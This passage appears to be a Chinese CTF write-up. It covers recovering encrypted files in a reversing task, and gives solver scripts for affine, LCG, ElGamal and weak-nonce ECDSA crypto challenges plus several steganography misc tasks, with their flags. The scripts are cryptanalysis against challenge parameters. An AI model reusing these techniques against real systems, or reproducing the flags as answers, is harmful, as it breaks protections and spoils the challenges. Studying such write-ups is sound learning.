![](https://i.imgur.com/34zT7Ei.png)
加npc    qq指导他拿到guid码，之后便对附件的文件解密。
```python=
import base64
from Crypto.Util.number import *

newtable='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+-'#换和不换对本题影响不大
table='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
s='sbJXsFrM2zF='
m=''
for i in range(len(s)):
    m+=table[newtable.find(s[i])]
print(hex(bytes_to_long(base64.b64decode(m))))
#b1b257b0 5accdb31
def ror13(n): #循环右移13
    s=bin(n)[2:].zfill(32)
    tmp=s[-13:]+s[:-13]
    #print(hex(int(tmp,2)))
    return int(tmp,2)

key='2aa2d31e-751e-4a33-8542-62c8bacedaf6'
n=[0]*(len(key)+1)
for i in range(len(key)):
    n[i+1]=(ord(key[i])+ror13(n[i]))&0xffffffff
print(hex(ror13(n[-1]))) #可以通过动调发现 他是
 #还原第一个随机数
print('r1=',hex(0xb057b2b1^0x51e64a7b))

k=[0]*(len(key)+1)
k[0]=0xe1b1f8ca      #第一个随机数
for i in range(len(key)):
    k[i+1]=(ord(key[i])+ror13(k[i]))&0xffffffff
#for i in k:
#    print(hex(i))
print(hex(ror13(k[-1]))) #最后一步还有操作
#0xebb9f8f6
#0x1a4a41e5
print('r2=',hex(0xc2bf46e0^0x31dbcc5a))
```
注意小端，拿到r1和r2
![](https://i.imgur.com/tqs61h4.png)
OD动调，修改eax的值来修改两个随机数，之后直接F9便对原文件解密成功。

## 4、Crypto
### 签到
绿城杯的密码签到题，魔改的仿射。
```python=
import gmpy2
str1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
enc= ''#密文
flag=''
a,b,c=37,23,52
for i in enc:
    if i in str1:
        ind=str1.find(i)
        m=((ind-b)*gmpy2.invert(a,c))%c
        flag+=str1[m]
    else:
        flag+=i
print(flag)

```
### lcg
参考这个博客，可以直接出https://blog.csdn.net/superprintf/article/details/108964563
```python
from Crypto.Util.number import *

def gcd(a,b): 
    if(b==0): 
        return a 
    else: 
        return gcd(b,a%b) 

s = [64053834035066785058511795263859088093402576718387054930069870694827422995248363210875296865931156540418540088656840163752864867889701529, 62747878069691338351001678737533032651009187924993079609551517187402239263500990458468121965725468864035542647616568888614971291913860683, 8610389166165547798963079074461089122942923569827711232062490735297527674581120584017030806864406444034839689358368567214353599295961192, 67368398051089407366868405625671942347378755129423872678285919732014302509367453094142041707571135936337763803644340301362544880144675515, 3140546334522640626644397935274312967014650101920766829848908314358452633165879115222769049730993718556007257838431843662986174886332684, 86570894867827558107244361752089586436766881136739525172025909326268148819720261812567282066327259810017581923500053674785415315313293458, 74270633946662538117925791534180331044438757906314082041974053142483165604719102121031974214138125154407150853174565679126633465007917723, 82222345180880564316408536364709779418528442531150999715627704885024880160675971236916036110841803202987616501846568355385621016171784903, 79833541796675422937999973936505826001046326324194169378072775519666431460490483847928549009565561011528302879850550395115321828798479473, 70276250399219459795079058514491950109021040664671993784167534811426903455184545174600178849521746939676479421177456528336980088529680364]
t = []
for i in range(9):
    t.append(s[i]-s[i-1]) 
all_n = []
for i in range(7):
    all_n.append(gcd((t[i+1]*t[i-1]-t[i]*t[i]), (t[i+2]*t[i]-t[i+1]*t[i+1]))) 

MMI = lambda A, n,s=1,t=0,N=0: (n < 2 and t%N or MMI(n, A%n, t, s-A//n*t, N or n),-1)[n<1] #逆元计算
for n in all_n:
    n=abs(n)
    if n==1:
        continue
    print (n)
    a=(s[2]-s[1])*MMI((s[1]-s[0]),n)%n
    a_phi=MMI(a,n)
    b=(s[1]-a*s[0])%n
    seed = (a_phi*(s[0]-b))%n
    print(long_to_bytes(seed))
```
### ElGamal
```python
import gmpy2
from libnum import *

g=2156
h=19364538528204968684702462061708976286196990984716223584085879982705646870069549303950939491629843375744443683509974903099180054959020059938548094928837585111057000303537904740493039606490649300278524100909497612375482645091133840008548424390812995957714079622701882313111238420594917948494969125949668945158548567720310535536897936888399774638950146810221642554493233791471360830335537206304149954921774311047853146084012237704564511942668835567863826393453948857017040646601008642223803582573943030891986715595055019324440801777935710172212979280887633359930943038503968027220655973786600562745845324497196488322807831
A=9995630293450443710926439589612896118286566349495827427313438676168463826116464955957074433529028056439123823805308552189562100224561582223340587241549648666015052286406499398662123425284889357996851916521752203901065203149577226993716682772240169667052935024258753871207295938393987115234900806806087469563879862789823974291794802885292895213421601726484494744585379945552505857608540799287322743476575453278214456474079134885967525955182921923390325162821977199745281205980366366121378035910599474885845467715899470571914517089671524145865515025521343377461693651620965558755177493712395218314031923968372262075180
B=19641501134902015385307004774559226297607904139535093991544778570325559816795122240929672966548430213002444213049237352884044793521811769547993865673285536027032480604621677716937881383473923009344119402643156187210725950448943245328946864032062370241469698117655959560919664615808572393768427179442187467030444796570161893138409985609498627476592440545737482637905930451978398776355436712097494242442565588522867934815296797704571702165109019346547812996256980418437536915183977770034247964771335417318800617277414315830475829847165491728666543824190225718431772550287257838893533761142681106488302856660213072339680
p=22462079869412176627931821885555952101944600797405594918854641749463937220864393745055830608055446812244264996698900999697665284937332732196426926630725227832097762570319772606025030783192201516034684801965773843056157955430791744014113857105510823445498218456593034533803396102478411584767531641441019490499843217916423047209971411135368955482819998224367982436547751038717372349803304840532049220062772016877891231064593677968672514003518354643489863858311269669893073147595991452524138366552663628111568762990736278921809825308594547202597167338050312287182471648075189640944982066563515747342673687096427486818972323
q=28577709757521853216198246673735308017741222388556736537983004770310352698300755400834390086584537929063950377479517811320184840887191771242273443550541002330913183931704545300286298706351401419891456491050602853761015210471745221392002362729657536190201295746301570653693888171092126698177521172316818690203362872667204894669174823327441419189338420132783692667363550939843985177866800051567492646390295186867546095502027580112814903312364318884847155036019427060932663037653933145705010644469037694798433540700682288704592653064369652929512935544593272630003144590426449924866389397663506039876175174422935733866377

c1=11332286863127405812094504635471613854814937800124860910727374889102766142166022490278538952075193339453759020528778269864384569875318135661332253758107737756918318534675081922056254701103801041560591485925003447157410375099257642817840146427635984078459775376609366508041281759152628202088485025645919922723952547611605566905496365693787020294985478159474030995131023017342810653667997385147659211512460252853307639792749415598629996493681533855438162174190745672038233810051871572769436201835882757496071853682754083012061501462824377212969857559498262545545910958726045037239560044244415222143743768606933059075697021
c2=1372282964332292854673500643835800757935806829460870485690391794902235711423490316005967872250129637294226354772488937508471990099713257512193293101115267735884980056095830011299721555157834626858611366012895262798146439754243097833792294579486439977908090543253784149475851789481952116226404573468174537238610218304779943433942800306671530413679374917876133865272894626882479919363711304836310550110548690619783301429872523537762660931047187386025166135883629423496176981342027467183199837522102565931413172569551605898211400707349332005272073786142995248095725863673208717402182238792111207189694429541309766220120229
c1_=7487492223501562207493141071238187010012683445431218865414855332767540287102428308132128561296707313339788591514321855414633993013212032014459200554829455238385612822475050524716563150861899110475980044752986663504368072899898047552556690686147010639666093686804838659502492460286686233915296337369816076763293591399063166665197193039627759442636660347406076545502410067401681811168844856371856963623975767540063383560470436217362992479808296945205199416087282056433190263324978331977428500978843951453699326810909568668333877992835809219093321026449785933372463937202136772746118027345246453586564853335765972544419734
c2_=6112901046404372403304708508669386492965625978668114719881280901365259881398849837356351281946750580906017030014709113808809450653169088939063675485865090639521811018655956687997373608027777185293782782804573818464618173001147063495321506979299553768270075924588394108603182983000620919544195093565180407742782557942731554038528736279686907266601446021443130620983244101165429091236355740482290982339112999228102147699542277380459486768987627950851284608417149418679274351711137770428381855005158720083477148759018003909146756483092352214900488334939460818625168850759696360708636616959341042406572145675249300094599316

tmp = gmpy2.powmod(c2, A, p) * gmpy2.powmod(h, B, p) * gmpy2.invert(c2_, p)
tmp = tmp % p

gg, x, y = gmpy2.gcdext(A - 1, p - 1)

m = gmpy2.powmod(tmp, x, p)

print(n2s(m))
```

### Dear Alice
谷歌CTF原题,搜索关键词能搜到
github项目上有解题脚本
```python=
import os
import hashlib
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes

#flag = open('flag.txt').read()
INF = (1, 1, 0)

d = 311315114987715623444276142623839583360207853110657101019745009424926710590583360123029204556690633449715530612380512577293882572730509350735778781050933

mod = 8948962207650232551656602815159153422162609644098354511344597187200057010413552439917934304191956942765446530386427345937963894309923928536070534607816947
a = 6294860557973063227666421306476379324074715770622746227136910445450301914281276098027990968407983962691151853678563877834221834027439718238065725844264138
b = 3245789008328967059274849584342077916531909009637501918328323668736179176583263496463525128488282611559800773506973771797764811498834995234341530862286627
n = 8948962207650232551656602815159153422162609644098354511344597187200057010413418528378981730643524959857451398370029280583094215613882043973354392115544169
G = (5139617820728399941653175323358137352238277428061991823713659546881441331696699723004749024403291797641521696406798421624364096550661311227399430098134141,
     1798860115416690485862271986832828064808333512613833729548071279524320966991708554765227095605106785724406691559310536469721469398449016850588110200884962,
     5042518522433577951395875294780962682755843408950010956510838422057522452845550974098236475624683438351211176927595173916071040272153903968536756498306512)

def Double(p):
    x, y, z = p
    if z == 0 or y == 0:
        return INF
    ysqr = y * y % mod
    zsqr = z * z % mod
    s = 4 * x * ysqr % mod
    m = (3 * x * x + a * zsqr * zsqr) % mod
    x2 = (m * m - 2 * s) % mod
    y2 = (m * (s - x2) - 8 * ysqr * ysqr) % mod
    z2 = 2 * y * z % mod
    return x2, y2, z2

def Add(p, q):
    if p[2] == 0:
        return q
    if q[2] == 0:
        return p
    x1, y1, z1 = p
    x2, y2, z2 = q
    z1sqr = z1 * z1 % mod
    z2sqr = z2 * z2 % mod
    u1 = x1 * z2sqr % mod
    u2 = x2 * z1sqr % mod
    s1 = y1 * z2 * z2sqr % mod
    s2 = y2 * z1 * z1sqr % mod
    if u1 == u2:
        if s1 != s2:
            return INF
        else:
            return Double(p)
    h = u2 - u1 % mod
    hsqr = h * h % mod
    hcube = hsqr * h % mod
    r = s2 - s1 % mod
    t = u1 * hsqr % mod
    x3 = (r * r - hcube - 2 * t) % mod
    y3 = (r * (t - x3) - s1 * hcube) % mod
    z3 = h * z1 * z2 % mod
    return x3, y3, z3

def Multiply(p, x):
    if p == INF:
        return p
    res = INF
    while x:
        x, r = divmod(x, 2)
        if r:
            res = Add(res, p)
        p = Double(p)
    return res

def Transform(m, l):
    z = m
    shift = l - n.bit_length()
    if shift > 0:
        z >>= shift
    return z

def RNG(nbits, a, b):
    nbytes = nbits // 8
    B = os.urandom(nbytes)
    return a * sum([B[i] * b ** i for i in range(len(B))]) % 2**nbits

def Sign(msg, d):
    h = hashlib.sha512(msg)
    z = Transform(int.from_bytes(h.digest(), 'big'), h.digest_size*8)
    print('d = ', d)
    print('z = ', z)
    k = RNG(n.bit_length(), 16843009, 4294967296)
    print('k = ', k)
    x1, y1, z1 = Multiply(G, k)
    r = (x1 * pow(z1, -2, mod) % mod) % n
    s = pow(k, -1, n) * (z + r * d) % n
    print('r = ', r)
    print('s = ', s)
    print('left = ', pow(k, -1, n) % n)
    print('right = ', (z + r * d) % n)
    assert int(s) == pow(k, -1, n) * (z + r * d) % n
    return r, s

def Verify(msg, Q, r, s):
    h = hashlib.sha512(msg)
    z = Transform(int.from_bytes(h.digest(), 'big'), h.digest_size*8)
    u1 = z*pow(s, -1, n) % n
    u2 = r*pow(s, -1, n) % n
    x1, y1, z1 = Add(Multiply(G, u1), Multiply(Q, u2))
    return r == (x1 * pow(z1, -2, mod) % mod) % n

def Encrypt(plaintext, x):
    key = hashlib.sha256(str(x).encode()).digest()
    aes = algorithms.AES(key)
    encryptor = Cipher(aes, modes.ECB(), default_backend()).encryptor()
    padder = padding.PKCS7(aes.block_size).padder()
    padded_data = padder.update(plaintext) + padder.finalize()
    ciphertext = encryptor.update(padded_data) + encryptor.finalize()
    return ciphertext

def Decrypt(ciphertext, x):
    key = hashlib.sha256(str(x).encode()).digest()
    aes = algorithms.AES(key)
    decryptor = Cipher(aes, modes.ECB(), default_backend()).decryptor()
    unpadder = padding.PKCS7(aes.block_size).unpadder()
    decrypted_data = decryptor.update(ciphertext) + decryptor.finalize()
    plaintext = unpadder.update(decrypted_data) + unpadder.finalize()
    return plaintext

_, _, ca = (8832295267397231051293216564016639537146222596144354850230682204978731311879255662259663270183445827348338041752369314181111940713714991119349376636404112, 8683784208731634307361157916911868656279723101808163939313971801256736484458199874570532609285522391139002296248059424750941962344918156540408403221858292, 105398535464409171419472607677747462033030589690350997911381059472020486557672504778060748058626707326992258591478040500759349352824508941100030623708235493999018571171774658661651532338275358740821547158517615704187173346885098836066743736788259192831313414309775979590033581301910426314601982482556670097620)

ka = [
    0x8a6e81a10c229af504772b51c502638820811034faa62b8dafa019210347918419b71d0638c89b59026b7611edc6a14b2c1c1fb1092a352adfffb7e114f4f385,
    0x3f837315a1fb46097f5eb680697901d75758b859846d37cad33d3f464efb84ace1e85fc60f4e445a031b5ca0e4965e0b081bd4a6e8efea1d3ba07aad51a70cd
]
ca = ca.to_bytes(byteorder='big',length=(ca.bit_length() + 7) // 8)

for k in ka:
    try:
        recv_msg = Decrypt(ca, k)
        print(recv_msg)
    except:
        pass
```
## 5、Misc
### 签到
base32解码
### LSB？
zsteg -a xxx.png
cumtctf{LSB_is_s0_e@sy_Right?}
### 加密？
跳舞的小人解出密码：SHERLOCK

打开后看到一个空白的txt文件，查看内码，零宽解出：JKGASwqeeh!@$

得到这个：63756D746374667B69745F69735F63727970746F3F7D

base16解密：cumtctf{it_is_crypto?}
### 社工？
真的离谱，WANG/JIA中间的斜杠还要保留

去这里扫一下机票上的二维码：[https://demo.dynamsoft.com/barcode-reader/](https://demo.dynamsoft.com/barcode-reader/)

得到信息：

![](https://i.imgur.com/x1nCp6G.png)


然后去搜一下飞机票二维码的数据信息

M1就是旅客姓名

flag : cumtctf{WANG/JIA}